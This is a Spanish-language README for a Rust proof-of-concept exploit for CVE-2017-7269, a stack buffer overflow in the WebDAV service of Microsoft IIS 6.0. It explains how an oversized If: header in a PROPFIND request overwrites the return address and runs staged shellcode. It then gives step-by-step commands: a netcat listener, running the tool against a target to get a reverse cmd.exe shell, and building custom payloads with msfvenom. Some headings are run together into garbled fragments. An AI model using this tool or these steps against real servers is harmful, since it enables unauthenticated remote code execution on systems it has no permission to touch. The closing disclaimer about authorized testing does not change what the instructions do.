
Una implementación en Rust del POC para CVE-2017-7269, dirigida al servicio WebDAV en Microsoft Internet Information Services (IIS) 6.0.
Una implementación en Rust del POC para CVE-2017-7269, dirigida al servicio WebDAV de los Servicios de Información de Internet (IIS) 6.0 de Microsoft.
CVE-2017-7269 es una vulnerabilidad crítica de desbordamiento de búfer basado en pila que se encuentra en el servicio WebDAV de Microsoft IIS 6.0, el cual se incluía con Windows Server 2003 R2. Una explotación exitosa permite a un atacante no autenticado lograr la ejecución remota de código en el servidor objetivo.
httpext.dll (Extensión WebDAV de IIS)ScStoragePathFromUrlPROPFIND especialmente manipulada.If: excesivamente larga que contiene múltiples URLs.La vulnerabilidad es un clásico desbordamiento de búfer en la pila. Se activa cuando la función ScStoragePathFromUrl procesa una solicitud PROPFIND que contiene una cabecera If: maliciosa.
Este exploit elabora dicha cabecera con una larga cadena de bytes, que desborda el búfer asignado en la pila. Este desbordamiento sobrescribe datos críticos de la pila, incluida la dirección de retorno guardada (EIP). El exploit secuestra el flujo de ejecución del programa apuntando esta dirección de retorno a un pequeño payload de shellcode inicial también ubicado dentro de la cabecera maliciosa. El trabajo de este shellcode de primera etapa es encontrar y ejecutar el payload principal, una shell inversa, que se envía en el cuerpo de la misma solicitud HTTP. Este POC demuestra con éxito la ejecución remota de código conectando una shell de cmd.exe de vuelta a un listener controlado por el atacante.
Prepare un listener (ajuste el puerto para que coincida con --lport):
nc -lvnp <attacker-port>
Ejecute el exploit con shellcode incrustado:
cargo run --release -- --rhost <target-ip> --rport <target-port> --lhost <attacker-ip> --lport <attacker-port>
La herramienta parchea el shellcode WSA sobre la marcha usando LHOST/LPORT y lo entrega en el cuerpo de la solicitud HTTP. Cuando el objetivo es vulnerable, su listener recibirá una shell inversa desde cmd.exe.
--payload)Elabore un payload crudo
msfvenom -p windows/exec CMD=whoami -f raw -o payload.bin
Entregue el payload (no necesita --lhost/--lport porque el shellcode ya codifica esa información):
cargo run --release -- --rhost <target-ip> --rport <target-port> --payload payload.bin
Maneje la devolución de llamada en el mismo listener de antes. Dado que el binario simplemente transmite los bytes proporcionados, el comportamiento exacto depende del payload que haya generado.
Esta herramienta es solo para fines educativos y de pruebas de penetración autorizadas. Úsela de manera responsable y únicamente en sistemas que posea o para los cuales tenga permiso explícito.